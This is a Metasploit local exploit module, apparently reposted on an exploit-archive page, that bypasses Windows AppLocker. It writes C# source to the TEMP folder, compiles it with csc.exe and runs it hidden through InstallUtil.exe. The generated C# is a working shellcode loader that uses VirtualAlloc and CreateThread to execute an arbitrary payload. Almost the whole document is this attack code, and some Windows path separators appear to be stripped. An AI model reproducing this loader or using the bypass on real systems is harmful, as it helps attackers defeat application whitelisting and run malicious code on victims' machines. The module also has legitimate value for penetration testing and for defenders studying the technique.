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AppLocker Execution Prevention Bypass

Posted on 03 March 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Post::File

def initialize(info={})
super(update_info(info,
'Name' => 'AppLocker Execution Prevention Bypass',
'Description' => %q{
This module will generate a .NET service executable on the target and utilise
InstallUtil to run the payload bypassing the AppLocker protection.

Currently only the InstallUtil method is provided, but future methods can be
added easily.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Casey Smith', # Original AppLocker bypass research
'OJ Reeves' # MSF module
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [ [ 'Windows', {} ] ],
'DefaultTarget' => 0,
'DisclosureDate'=> 'Aug 3 2015',
'References' =>
[
['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']
]
))

register_options([
OptEnum.new('TECHNIQUE', [true, 'Technique to use to bypass AppLocker',
'INSTALLUTIL', %w(INSTALLUTIL)])])
end

# Run Method for when run command is issued
def exploit
if datastore['TECHNIQUE'] == 'INSTALLUTIL'
if payload.arch.first == 'x64' && sysinfo['Architecture'] !~ /64/
fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')
end
end

# sysinfo is only on meterpreter sessions
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

if datastore['TECHNIQUE'] == 'INSTALLUTIL'
execute_installutil
end
end

def execute_installutil
envs = get_envs('TEMP', 'windir')

dotnet_path = get_dotnet_path(envs['windir'])
print_status("Using .NET path #{dotnet_path}")

cs_path = "#{envs['TEMP']}#{Rex::Text.rand_text_alpha(8)}.cs"
exe_path = "#{envs['TEMP']}#{Rex::Text.rand_text_alpha(8)}.exe"

installutil_path = "#{dotnet_path}InstallUtil.exe"

print_status("Writing payload to #{cs_path}")
write_file(cs_path, generate_csharp_source)
register_files_for_cleanup(cs_path)

print_status("Compiling payload to #{exe_path}")
csc_path = "#{dotnet_path}csc.exe"
csc_platform = payload.arch.first == 'x86' ? 'x86' : 'x64'
vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")
cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")

print_status("Executing payload ...")
vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")
client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", {'Hidden' => true})
register_files_for_cleanup(exe_path)
end

def get_dotnet_path(windir)
base_path = "#{windir}Microsoft.NETFramework#{payload.arch.first == 'x86' ? '' : '64'}"
paths = dir(base_path).select {|p| p[0] == 'v'}
dotnet_path = nil

paths.reverse.each do |p|
path = "#{base_path}#{p}"
if directory?(path) && file?("#{path}InstallUtil.exe")
dotnet_path = path
break
end
end

unless dotnet_path
fail_with(Failure::NotVulnerable, '.NET is not present on the target.')
end

dotnet_path
end

def generate_csharp_source
sc = payload.encoded.each_byte.map {|b| "0x#{b.to_s(16)}"}.join(',')
cs = %Q^
using System;

namespace Pop
{
public class Program { public static void Main() { } }

[System.ComponentModel.RunInstaller(true)]
public class Pop : System.Configuration.Install.Installer
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
private static UInt32 INFINITE = 0xFFFFFFFF;

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);

public override void Uninstall(System.Collections.IDictionary s)
{
byte[] sc = new byte[] {#{sc}};
IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);
IntPtr id = IntPtr.Zero;
WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);
}
}
}
^

cs
end

end

 

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